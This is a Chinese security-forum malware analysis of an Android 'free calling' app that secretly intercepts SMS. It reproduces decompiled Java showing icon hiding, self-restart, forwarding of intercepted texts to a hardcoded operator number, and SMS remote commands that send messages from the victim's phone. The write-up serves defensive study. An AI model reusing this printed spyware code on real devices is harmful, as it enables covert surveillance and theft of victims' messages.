吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 49406|回复: 158
收起左侧

[移动样本分析] 对一个免费通话恶意APP的逆向分析

    [复制链接]
wnagzihxain 发表于 2016-5-20 17:42
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 wnagzihxain 于 2016-5-25 13:38 编辑

在这个美好的日子总要做点什么庆祝一下,那就分析个App吧

报告名称:对一个免费通话恶意APP的逆向分析                                                
作者:wnagzihxain                                                      
报告更新日期:2016.5.20                                         
样本发现日期:不详                                    
样本类型:短信拦截                                             
样本文件大小/被感染文件变化长度:   
样本文件MD5 校验值:E8 9B 15 8E 4B CF 98 8E BD 09 EB 83 F5 37 8E 87                  
样本文件SHA1 校验值:61 ED 37 7E 85 D3 86 A8 DF EE 6B 86 4B D8 5B 0B FA A5 AF 81                     
壳信息:无                                                     
可能受到威胁的系统:安卓                  
相关漏洞:无                                                
已知检测名称:无

前天有同学说装了一个通话软件结果一直发送短信,所以下了样本来分析一下

原帖的截图

001757nn987xtmt3nccxov.jpg

先上apktool
[Shell] 纯文本查看 复制代码
1
apktool d -f do.apk -o do
1.png

来看一下AndroidManifest.xml,一共申请了6个权限
1.    接收系统启动完成的广播
2.    唤醒手机
3.    接收短信
4.    发送短信
5.    获取手机状态
6.    收到短信发送广播

一个Activity,还有服务什么的先不管

2.png

然后将apk文件修改后缀为zip,解压缩后,用dex2jar将classes.dex文件转换为jar文件,接下来用jdgui打开就可以看到里面的代码了

4.png

随便翻一下可以看到没加壳没混淆,而且代码写的一塌糊涂,不忍直视……

先不着急分析,上JEB

直接把apk拖进去就会进行反编译,(注释并不是自动生成的,是我自己写的,这玩意虽然强大,但是还没有到能自己写注释的地步)

5.png

为什么要开两个呢?

因为jdgui里面对整个逻辑的整理比较好,但是代码稍微不是很好阅读,jeb可以加注释,还可以改变量名,但是代码逻辑稍微乱了点,所以两者同时结合着看比较好懂

来看MainActivity(jdgui)
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
protected void onCreate(Bundle paramBundle)
  {
    LogCatBroadcaster.start(this);
    super.onCreate(paramBundle);
    super.requestWindowFeature(1);
    setContentView(2130903040);
    new SmSutils().sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append("爆万爆万爆万,回复com#false关闭com#true开启, 版本").append(Build.VERSION.SDK_INT).toString()).append(" ").toString() + Build.MODEL, (Context)null);
    getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
    try
    {
      paramBundle = Class.forName("com.sms.tract.SmSserver");
      startService(new Intent(this, paramBundle));
      finish();
      return;
    }
    catch (ClassNotFoundException paramBundle)
    {
      throw new NoClassDefFoundError(paramBundle.getMessage());
    }
  }
先开启了一个线程,不知道干什么的,跟过去看看
[Java] 纯文本查看 复制代码
1
LogCatBroadcaster.start(this);
LogCatBroadcaster(jdgui)
可以看到调用的是Runnable接口
[Java] 纯文本查看 复制代码
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
import android.content.Context;
import android.content.Intent;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.Reader;
 
public class LogCatBroadcaster
  implements Runnable
{
  private static boolean started = false;
  private Context context;
   
  private LogCatBroadcaster(Context paramContext)
  {
    this.context = paramContext;
  }
   
  /* Error */
  public static void start(Context paramContext)
  {[/align][align=left]//start方法是字节码,考验反编译功力的时候到了,分析已经加在代码里,这段字节码核心就是开启线程
    // Byte code:
    //   0: ldc 2
    //   2: monitorenter
    //   3: getstatic 14        LogCatBroadcaster:started        Z
    //   6: istore_2
    //   7: iload_2
    //   8: ifeq +7 -> 15
    //   11: ldc 2
    //   13: monitorexit
    //   14: return
    //   15: iconst_1
    //   16: putstatic 14        LogCatBroadcaster:started        Z
    //   19: getstatic 30        android/os/Build$VERSION:SDK_INT        I
    //   22: bipush 16
    //   24: if_icmpge +6 -> 30//判断系统版本号是不是大于16,小于16就return
    //   27: goto -16 -> 11
    //   30: aload_0
    //   31: invokevirtual 36        android/content/Context:getApplicationInfo        ()Landroid/content/pm/ApplicationInfo;
    //   34: getfield 41        android/content/pm/ApplicationInfo:flags        I
    //   37: istore_1
    //   38: iload_1
    //   39: iconst_2
    //   40: iand
    //   41: ifeq +12 -> 53
    //   44: iconst_1
    //   45: istore_1
    //   46: iload_1
    //   47: ifne +11 -> 58
    //   50: goto -39 -> 11
    //   53: iconst_0
    //   54: istore_1
    //   55: goto -9 -> 46
    //   58: aload_0
    //   59: invokevirtual 45        android/content/Context:getPackageManager        ()Landroid/content/pm/PackageManager;
    //   62: ldc 47
    //   64: sipush 128
    //   67: invokevirtual 53        android/content/pm/PackageManager:getPackageInfo        (Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
    //   70: pop
    //   71: new 55        java/lang/Thread
    //   74: astore 4
    //   76: new 2        LogCatBroadcaster
    //   79: astore_3
    //   80: aload_3
    //   81: aload_0
    //   82: invokespecial 57        LogCatBroadcaster:<init>        (Landroid/content/Context;)V
    //   85: aload 4
    //   87: aload_3
    //   88: invokespecial 60        java/lang/Thread:<init>        (Ljava/lang/Runnable;)V
    //   91: aload 4
    //   93: invokevirtual 62        java/lang/Thread:start        ()V
    //   96: goto -85 -> 11
    //   99: astore_0
    //   100: goto -89 -> 11
    //   103: astore_0
    //   104: ldc 2
    //   106: monitorexit
    //   107: aload_0
    //   108: athrow
    // Local variable table:
    //   start        length        slot        name        signature
    //   0        109        0        paramContext        Context
    //   37        18        1        i        int
    //   6        2        2        bool        boolean
    //   79        9        3        localLogCatBroadcaster        LogCatBroadcaster
    //   74        18        4        localThread        Thread
    // Exception table:
    //   from        to        target        type
    //   58        71        99        android/content/pm/PackageManager$NameNotFoundException
    //   3        7        103        finally
    //   15        27        103        finally
    //   30        38        103        finally
    //   58        71        103        finally
    //   71        96        103        finally
  }
 
  public void run()
  {
    try
    {
      Object localObject2 = Runtime.getRuntime().exec("logcat -v threadtime");//调用系统命令获得logcat日志
      BufferedReader localBufferedReader = new java/io/BufferedReader;
      Object localObject1 = new java/io/InputStreamReader;//取得输入流
      ((InputStreamReader)localObject1).<init>(((Process)localObject2).getInputStream());
      localBufferedReader.<init>((Reader)localObject1, 20);
      for (;;)
      {
        localObject2 = localBufferedReader.readLine();
        if (localObject2 == null) {
          break;
        }
        localObject1 = new android/content/Intent;
        ((Intent)localObject1).<init>();
        ((Intent)localObject1).setPackage("com.aide.ui");//目标包名
        ((Intent)localObject1).setAction("com.aide.runtime.VIEW_LOGCAT_ENTRY");//传一个action过去
        ((Intent)localObject1).putExtra("lines", new String[] { localObject2 });//额外数据,这里是本线程的信息
        this.context.sendBroadcast((Intent)localObject1);//明显的隐式启动
      }
      return;
    }
    catch (IOException localIOException)
    {
      for (;;) {}
    }
  }
}
这段的意思其实是说这是用手机开发的APP,谢谢点评里的同学指出来,感谢

看一下在JEB里的代码,不多解释,很好懂的
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager$NameNotFoundException;
import android.os.Build$VERSION;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
 
public class LogCatBroadcaster implements Runnable {
    private Context context;
    private static boolean started;
 
    static {
        LogCatBroadcaster.started = false;
    }
 
    private LogCatBroadcaster(Context arg5) {
        super();
        this.context = arg5;
    }
 
    public void run() {
        LogCatBroadcaster This = this;
        try {
            BufferedReader bufferreader = new BufferedReader(new InputStreamReader(Runtime.getRuntime()
                    .exec("logcat -v threadtime").getInputStream()), 20);
            while(true) {
                String bufferreadstring = bufferreader.readLine();
                String stringread = bufferreadstring;
                if(bufferreadstring == null) {
                    return;
                }
 
                Intent intent = new Intent();
                intent.setPackage("com.aide.ui");
                intent.setAction("com.aide.runtime.VIEW_LOGCAT_ENTRY");
                intent.putExtra("lines", new String[]{stringread});
                This.context.sendBroadcast(intent);
            }
        }
        catch(IOException v5) {
        }
    }
 
    public static void start(Context arg11) {
        Context context = arg11;
        Class v9 = LogCatBroadcaster.class;
        __monitor_enter(v9);
        try {
            if(LogCatBroadcaster.started) {
                goto EXIT;
            }
 
            LogCatBroadcaster.started = true;
            if(Build$VERSION.SDK_INT < 16) {
                goto EXIT;
            }
 
            if(0 != (context.getApplicationInfo().flags & 2)) {
            }
            else {
                goto label_25;
            }
        }
        catch(Throwable v0_1) {
            goto label_58;
        }
 
        int flag = 1;
        goto label_21;
    label_25:
        flag = 0;
    label_21:
        if(flag != 0) {
            Context v4_1 = context;
            try {
                v4_1.getPackageManager().getPackageInfo("com.aide.ui", 128);
                goto label_35;
            }
            catch(Throwable v0_1) {
            }
            catch(PackageManager$NameNotFoundException v4_2) {
                goto EXIT;
                try {
                label_35:
                    new Thread(new LogCatBroadcaster(context)).start();
                }
                catch(Throwable v0_1) {
                label_58:
                    __monitor_exit(v9);
                    throw v0_1;
                }
            }
        }
 
    EXIT:
        __monitor_exit(v9);
    }
}

补充一点东西,刚才那段字节码应该是这样的,参考自:[Android 原创] 刚某帖提到的锁机软件分析
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
public static synchronized void start(Context context) {
    Context context2 = context;
    synchronized (LogCatBroadcaster.class) {
        if (!started) {
            started = true;
            if (VERSION.SDK_INT >= 16) {
                if ((0 != (context2.getApplicationInfo().flags & 2) ? 1 : null) != null) {
                    try {
                        PackageInfo packageInfo = context2.getPackageManager().getPackageInfo("com.aide.ui", 128);
                        Thread thread = r10;
                        LogCatBroadcaster logCatBroadcaster = r10;
                        LogCatBroadcaster logCatBroadcaster2 = new LogCatBroadcaster(context2);
                        Thread thread2 = new Thread(logCatBroadcaster);
                        thread.start();
                    } catch (NameNotFoundException e) {
                        NameNotFoundException nameNotFoundException = e;
                    }
                }
            }
        }
    }
}
继续分析MainActivity

这句的意思是向15833482871发送"爆万爆万爆万,回复com#false关闭com#true开启, 版本"+受害者手机系统版本号+手机型号,这个结合开头那张图片可以看出来
[Java] 纯文本查看 复制代码
1
new SmSutils().sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append("爆万爆万爆万,回复com#false关闭com#true开启, 版本").append(Build.VERSION.SDK_INT).toString()).append(" ").toString() + Build.MODEL, (Context)null);
隐藏图标
[Java] 纯文本查看 复制代码
1
getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
接下来是重头戏了,开启了一个SmSserver服务,同时调用finish()方法把当前activity移除栈,这个并不调用onDestroy(),也不释放资源,也就是说应用还在运行
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
try
    {
      paramBundle = Class.forName("com.sms.tract.SmSserver");
      startService(new Intent(this, paramBundle));
      finish();
      return;
    }
    catch (ClassNotFoundException paramBundle)
    {
      throw new NoClassDefFoundError(paramBundle.getMessage());
    }
左侧进入SmSserver看一下具体代码,可以看到先注册了两个Receiver,同时给作者发送短信通知拦截服务已启动

6.png

在JEB里加上注释看一下
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
@Override public void onCreate() {
        super.onCreate();
        Notification notification = new Notification(2130837505, "", System.currentTimeMillis());
        Intent intent = new Intent();
        notification.contentView = new RemoteViews(this.getPackageName(), 2130903040);
        notification.contentIntent = PendingIntent.getActivity(this, 0, intent, 0);
        this.startForeground(100, notification);
        IntentFilter intentfilter = new IntentFilter();
        intentfilter.addAction("android.provider.Telephony.SMS_RECEIVED");  // 添加action:android.provider.Telephony.GSM_SMS_RECEIVED
        intentfilter.addAction("android.provider.Telephony.SMS_RECEIVED_2");  // 添加action:android.provider.Telephony.SMS_RECEIVED_2
        intentfilter.addAction("android.provider.Telephony.GSM_SMS_RECEIVED");  // 添加action:android.provider.Telephony.GSM_SMS_RECEIVED
        intentfilter.setPriority(1000);  // 设置优先级
        this.localMessageReceiver = new SmSReceiver();
        this.registerReceiver(this.localMessageReceiver, intentfilter, "android.permission.BROADCAST_SMS",   // 注册第一个Receiver,带上了收到短信时进行广播的权限
                null);
        this.localMessageReceiver2 = new SmSReceiver();
        this.registerReceiver(this.localMessageReceiver2, new IntentFilter("com.sms.tract"));  // 注册第二个Receiver
        new SmSutils().sendSMS("15833482871", new StringBuffer().append("拦截服务已启动,软件到期时间").append("2028-01-15 00:50:00"// 发送短信告诉作者已经开启拦截
                .toString(), null);
    }
同时它还有一个onDestroy()方法,可以用于被kill后自启动
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@Override public void onDestroy() {
        Class v6;
        SmSserver This = this;
        super.onDestroy();
        This.stopForeground(true);
        This.unregisterReceiver(This.localMessageReceiver);  // 注销
        This.unregisterReceiver(This.localMessageReceiver2);  // 注销
        Intent intent1 = new Intent();
        Intent intent2 = intent1;
        SmSserver v5 = This;
        try {
            v6 = Class.forName("com.sms.tract.SmSserver");
        }
        catch(ClassNotFoundException v4_1) {
            throw new NoClassDefFoundError(v4_1.getMessage());  // 异常处理
        }
 
        intent2.setClass(((Context)v5), v6);
        This.startService(intent1);  // 被kill后自启动,保证永远存活
    }
 
    @Override public int onStartCommand(Intent arg10, int arg11, int arg12) {
        return super.onStartCommand(arg10, 3, arg12);
    }
以上就是软件启动的时候做的事,总结一下就是:隐式启动一个应用,给作者发送第一条短信,然后注册两个Receiver,能在获取手机接收短信时的系统广播,并且SmSserver能够自启动,保证常驻后台

那么接下里就是Receiver的分析了

一共有两个Receiver继承自BroadcastReceiver,一个是SmSReceiver,另一个是BootReceiver

先来分析SmSReceiver

只要刚才注册的Receiver接收到系统接收短信时进行的广播,调用smsutils.isflag()进行日期判断,如果在这个日期前就执行SendSms()(这个不是刚才那个直接发送短信的方法),执行完后会有一个是否执行成功的判断给作者一个反馈
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package com.sms.tract;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.util.Log;
 
public class SmSReceiver extends BroadcastReceiver {
    private SharedPreferences sp;
 
    public SmSReceiver() {
        super();
        this.sp = null;
    }
 
    @Override public void onReceive(Context arg12, Intent arg13) {
        SmSutils smsutils;  // 如果收到的广播内容是if里面任意一个就执行
        SmSReceiver This = this;
        Context context = arg12;
        Intent intent = arg13;
        Log.i("action", intent.getAction());
        This.sp = context.getSharedPreferences("config", 0);
        if((intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) || (intent.getAction()
                .equals("android.provider.Telephony.SMS_RECEIVED_2")) || (intent.getAction().equals(
                "android.provider.Telephony.GSM_SMS_RECEIVED"))) {
            smsutils = new SmSutils();  // 如果收到的广播内容是if里面任意一个就执行
            Bundle bundle = intent.getExtras();
            if(bundle != null && (smsutils.isflag())) {
                smsutils.SendSms(bundle, context, This);  // 发送短信
            }
        }
 
        if(intent.getAction().equals("com.sms.tract")) {
            smsutils = new SmSutils();
            if(This.getResultCode() != -1) {
                smsutils.sendSMS("15833482871", new StringBuffer().append("指令执行失败状态码 ").append(This.  // 指令执行失败给作者发送失败的状态码
                        getResultCode()).toString(), null);
            }
            else {
                smsutils.sendSMS("15833482871", "指令执行成功", null);  // 发短信给作者指令执行成功
            }
        }
    }
}
来看一下smsutils.isflag(),不清楚为什么要写这个,难道是作者写了这个软件卖给别人???然后还设置了别人使用的期限???Excuse me???
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
public boolean isflag() {
        try {
            if(!SmSutils.sdf.parse("2028-01-15 00:50:00").after(new Date())) {
                return false;
            }
        }
        catch(ParseException v3) {
            v3.printStackTrace();
            return false;
        }
 
        boolean v0 = true;
        return v0;
    }
然后就是刚才的SendSms(),JEB里看一下
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
public void SendSms(Bundle arg22, Context arg23, SmSReceiver arg24) {
        String[] messagetextsplit;  // 根据#进行分割
        String sourceaddress;  // 发送该短信的手机号
        String messagetext;  // 整条短信内容
        SmSutils SmSutilsthis = this;
        Bundle bundle = arg22;
        Context context = arg23;
        SmSReceiver smsreceiver = arg24;
        SmSutils This = SmSutilsthis;
        Context v14 = context;
        try {
            This.sp = v14.getSharedPreferences("config", 0);
            Object pdus = bundle.get("pdus");
            SmsMessage[] smsmessage = new SmsMessage[pdus.length];
            int i;
            for(i = 0; i < pdus.length; ++i) {
                smsmessage[i] = [/i]SmsMessage.createFromPdu(pdus);
            }
 
messagetext = ""// 整条短信内容
            sourceaddress = ""// 发送该短信的手机号
            SmsMessage[] smsmessage1 = smsmessage;
            int i;
            for(i = 0; i < smsmessage1.length; ++i) {
                SmsMessage messagetemp = smsmessage1[i];
                [/i]messagetext = new StringBuffer().append(messagetext).append(messagetemp.getMessageBody())
                        .toString();
                if("".equals(sourceaddress)) {
                    sourceaddress = messagetemp.getOriginatingAddress();  // 获取发送该短信的手机号
                }
            }
 
            Log.i("action", new StringBuffer().append(new StringBuffer().append(sourceaddress).append(
                    "->").toString()).append(messagetext).toString());
            if(!sourceaddress.contains("15833482871")) {
                goto label_265;  // 如果短信来源不是作者手机号就发送拦截到的短信,相当于过滤掉作者发送的短信
            }
 
            messagetextsplit = messagetext.split("#");  // 根据#进行分割
            if(messagetextsplit.length < 1) {
                goto label_221;  // 这种情况相当于出错
            }
 
            if("com".equals(messagetextsplit[0])) {
                SmSutilsthis.command(messagetextsplit[1]);  // 如果是‘com#’类型的短信就执行command方法,这个方法得结合MainActivity里的第一条短信来分析,简单来说就是作者用来控制的,具体看command方法
                smsreceiver.abortBroadcast();  // 截断收到短信的广播
                return;
            }
 
            if(SmSutils.isMobileNO(messagetextsplit[0])) {
                SmSutilsthis.sendSMS(messagetextsplit[0], messagetextsplit[1], context);  // 这个if厉害了
                smsreceiver.abortBroadcast();  // 截断收到短信的广播
                return;
            }
 
SmSutilsthis.sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append(  // 前面的if都执行完了其余情况全部当作错误处理并发给作者
                    new StringBuffer().append(new StringBuffer().append(messagetextsplit.length).append(
                    " 指令错误\'").toString()).append(messagetextsplit[0]).toString()).append("\',").toString())
                    .append(messagetextsplit[1]).toString(), null);
            smsreceiver.abortBroadcast();  // 截断收到短信的广播
            return;
        }
        catch(Exception v13_1) {
            goto label_202;
        }
 
    label_221:
        This = SmSutilsthis;
        try {
This.sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append(new StringBuffer()  // 向作者发送指令出错的信息,同时带上拦截到的短信信息
                    .append(messagetextsplit.length).append(" 指令错误").toString()).append(messagetext)
                    .toString()).append("正确格式 手机号码#内容").toString(), null);
            smsreceiver.abortBroadcast();  // 截断收到短信的广播
[i]            return;[/i]
label_265:  // 发送短信,格式:短信来源->短信内容
 if(SmSutilsthis.sp.getBoolean("islj", true)) {
SmSutilsthis.[i]se[/i]ndSMS("15833482871", new StringBuffer().append(new StringBuffer().append(  // 判断sp里的‘islj’是否为true,相当于判断作者是否还需要获取拦截的短信
sourceaddress).append("->").toString()).append(messagetext).toString(), null);
smsreceiver.abortBroadcast();  // 截断收到短信的广播
            }
 
return;
        }
        catch(Exception v13_1) {
        label_202:
            v13_1.printStackTrace();
            SmSutilsthis.sendSMS("15833482871", new StringBuffer().append("出现异常").append(v13_1.getMessage())  // 异常处理
                    .toString(), null);
            return;
        }
    }
代码很长,写了注释,下面来分析一遍完整的流程
获取接收到的短信,其实就是前期准备工作,把该获取信息的获取
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
This.sp = v14.getSharedPreferences("config", 0);
            Object pdus = bundle.get("pdus");
            SmsMessage[] smsmessage = new SmsMessage[pdus.length];
            int i;
            for(i = 0; i < pdus.length; ++i) {
                smsmessage = SmsMessage.createFromPdu(pdus);
            }
 
            messagetext = ""// 整条短信内容
            sourceaddress = ""// 发送该短信的手机号
            SmsMessage[] smsmessage1 = smsmessage;
            int i;
            for(i = 0; i < smsmessage1.length; ++i) {
                SmsMessage messagetemp = smsmessage1;
                messagetext = new StringBuffer().append(messagetext).append(messagetemp.getMessageBody())
                        .toString();
                if("".equals(sourceaddress)) {
                    sourceaddress = messagetemp.getOriginatingAddress();  // 获取发送该短信的手机号
                }
            }
 
            Log.i("action", new StringBuffer().append(new StringBuffer().append(sourceaddress).append(
                    "->").toString()).append(messagetext).toString());
如果不是作者发的短信就跳到label_265
[Java] 纯文本查看 复制代码
1
2
3
if(!sourceaddress.contains("15833482871")) {
                goto label_265;  // 如果短信来源不是作者手机号就发送拦截到的短信,相当于过滤掉作者发送的短信
            }
跳到label_265,SmSutilsthis.sp.getBoolean("islj", true)这个需要结合后面的分析,注意command方法
[Java] 纯文本查看 复制代码
1
2
3
4
5
6
7
8
label_265:  // 发送短信,格式:短信来源->短信内容
            if(SmSutilsthis.sp.getBoolean("islj", true)) {// 判断sp里的‘islj’是否为true,相当于判断作者是否还需要获取拦截的短信
                SmSutilsthis.sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append( 发送拦截到的短信
                        sourceaddress).append("->").toString()).append(messagetext).toString(), null);
                smsreceiver.abortBroadcast();  // 截断收到短信的广播
            }
 
            return;
然后的代码段就是接收到作者短信的操作了
[Java] 纯文本查看 复制代码
1
2
3
4
messagetextsplit = messagetext.split("#");  // 根据#进行分割
            if(messagetextsplit.length < 1) {
                goto label_221;  // 这种情况相当于出错
            }
出错后执行的代码
[Java] 纯文本查看 复制代码
1
2
3
4
5
6
7
8
label_221:
        This = SmSutilsthis;
        try {
            This.sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append(new StringBuffer()  // 向作者发送指令出错的信息,同时带上拦截到的短信信息
                    .append(messagetextsplit.length).append(" 指令错误").toString()).append(messagetext)
                    .toString()).append("正确格式 手机号码#内容").toString(), null);
            smsreceiver.abortBroadcast();  // 截断收到短信的广播
            return;
如果是‘com#’类型的短信就执行command方法,这个方法得结合MainActivity里的第一条短信来分析,简单来说就是作者用来控制的,具体看command方法
[Java] 纯文本查看 复制代码
1
2
3
4
5
if("com".equals(messagetextsplit[0])) {
                SmSutilsthis.command(messagetextsplit[1]);
                smsreceiver.abortBroadcast();  // 截断收到短信的广播
                return;
            }
command方法,收到来自作者的短信,内容是”com#true就设置sp为true,否则为false“,结合最开始我说注意command方法那里
就是说作者不想监控你了就给你发”com#false“,想监控你了就给你发”com#true“,不想监控你但是Receiver还是在后台运行的,只是拦截到的短信作者不接收了而已
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
public void command(String arg8) {
        SmSutils This = this;
        String messagetextsplit1 = arg8;
        Log.i("action", messagetextsplit1);
        if(This.sp != null) {
            SharedPreferences$Editor editor = This.sp.edit();
            if("true".equals(messagetextsplit1)) {
                editor.putBoolean("islj", true);  // 短信格式为‘com#true......’就将sp里的‘islj’设为true
            }
            else {
                editor.putBoolean("islj", false);  // 如果短信格式为‘com#......’,#后面不是‘true’,则设置sp里的‘islj’为false
            }
 
            editor.commit();
        }
    }
继续看代码,这段代码作用是收到作者的短信,格式是”95533#hello world“这样的,就利用受害者手机给95533发送hello world,作者想干什么我不清楚
[Java] 纯文本查看 复制代码
1
2
3
4
5
if(SmSutils.isMobileNO(messagetextsplit[0])) {
                SmSutilsthis.sendSMS(messagetextsplit[0], messagetextsplit[1], context);  // 这个if厉害了
                smsreceiver.abortBroadcast();  // 截断收到短信的广播
                return;
            }
看一下SmSutils.isMobileNO()方法,作用就是判断‘#’前面是不是电话号码
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
public static boolean isMobileNO(String arg6) {
        boolean flag;
        String messagetextsplit0 = arg6;
        try {
            Double.parseDouble(messagetextsplit0);
            flag = true;
        }
        catch(Exception v4_1) {
            v4_1.printStackTrace();
            flag = false;
        }
 
        return flag;
    }
如果所有if都不符合就当出错处理
[Java] 纯文本查看 复制代码
1
2
3
4
5
6
SmSutilsthis.sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append(  // 前面的if都执行完了其余情况全部当作错误处理并发给作者
                    new StringBuffer().append(new StringBuffer().append(messagetextsplit.length).append(
                    " 指令错误\'").toString()).append(messagetextsplit[0]).toString()).append("\',").toString())
                    .append(messagetextsplit[1]).toString(), null);
            smsreceiver.abortBroadcast();  // 截断收到短信的广播
            return;
整个Receiver的功能就是这些,刚才说还有一个BootReceiver,功能简单,实现开机自启动
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package com.sms.tract;
 
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import java.util.List;
 
public class BootReceiver extends BroadcastReceiver {
    public BootReceiver() {
        super();
    }
 
    public static boolean isServiceRun(Context context, String arg11) {
        String actionSmSserver = arg11;
        boolean False = false;
        List servicelist = context.getSystemService("activity").getRunningServices(40);
        int servicelistnum = servicelist.size();
        int i = 0;
        while(true) {
            if(i < servicelistnum) {
                if(!servicelist.get(i).service.getClassName().equals(actionSmSserver)) {
                    ++i;  // 判断"com.sms.tract.SmSserver"是否在后台运行
                    continue;
                }
                else {
                    return true;
                }
            }
 
            return False;
        }
 
        return true;
    }
 
    @Override public void onReceive(Context arg16, Intent arg17) {
        Class v10;
        Context context = arg16;
        boolean v3 = BootReceiver.isServiceRun(context, "com.sms.tract.SmSserver");
        Log.i("phone", new StringBuffer().append("server_").append(v3).toString());  // 输出服务是否在后台运行
        if(!v3) {
            Intent intent = null;
            Intent v8 = null;
            Context context1 = context;
            try {
                v10 = Class.forName("com.sms.tract.SmSserver");
            }
            catch(ClassNotFoundException error) {
                throw new NoClassDefFoundError(error.getMessage());  // 异常处理
            }
 
            super(context1, v10);
            intent.addFlags(268435456);
            context.startService(intent);  // 实现开机自启动
        }
    }
}

到这里就已经分析完所有代码了,总结软件行为:拦截短信并发送给作者,作者可通过发送短信控制是否获取拦截到的短信,同时还可以控制受害者手机发送短信


最后,那位中招了的同学,你说一直发短信,原因是SmSserver被kill后会自启动,自启动的时候会发送”拦截服务已启动“那条短信给作者,所以变相的告诉你,你被监控了。。。。。。


最后的最后,样本已经发到了病毒样本区,有兴趣的同学一起来玩吧

http://www.52pojie.cn/thread-499667-1-1.html

结尾彩蛋,文中一些安卓的知识:
SmSutils.isMobileNO()方法里用于判断是否是电话号码的其实是一个将字符串转换为数字的方法,如果执行的时候没有触发异常间接说明是电话号码:java.lang.Double.parseDouble()方法
判断短信来源是否包含作者手机号的Contains(),也就是判断是否是作者发送的短信:String.Contains()方法
一种监听短信的方法,也就是作者使用的办法:android的SMS监听
用于判断是否过期的isflag():Date 中 before(when)跟after(when)用法
作者用于保证SmSserver不被杀死的方法:Android开发之如何监听让服务不被杀死(service+broadcast)
用于存储是否给作者发送拦截到的短信:SharedPreferences详解
文中启动Class.forname()方法的实现:Class.forName()用法及与new区别 详解
在获取系统发出的收到短信广播后获取短信内容相关:Android SmsMessage类详解
关于广播:Broadcast详解

这次真的是最后:这篇本来是看到论坛同学中招所以写的,感谢大家这么支持,所以接着写了一篇稍微进阶一点的,代码有混淆的恶意APP

欢迎交流╭( &#65381;&#12610;&#65381;)&#1608; &#785;&#785;
菜鸟的博客:http://www.wangzhixian.org/
主要记录二进制攻防的学习笔记和二进制漏洞的分析

点评

看见10665999#50 仿佛熟悉的开通手机QQ会员的代码。  发表于 2016-5-23 10:41
com.aide.ui是一个Android端的开发环境,这说明此应用是在手机上开发完成的?!~  发表于 2016-5-22 13:58

免费评分

参与人数 60吾爱币 +1 热心值 +60 收起 理由
sun20052677 + 1 + 1 用心讨论,共获提升!
Mr.D + 1 已答复!
mby841786202 + 1 鼓励转贴优秀软件安全工具和文档!
ZF0806 + 1 我很赞同!
策士 + 1 我很赞同!
liubenqiang + 1 我很赞同!
夢也渺渺 + 1 用心讨论,共获提升!
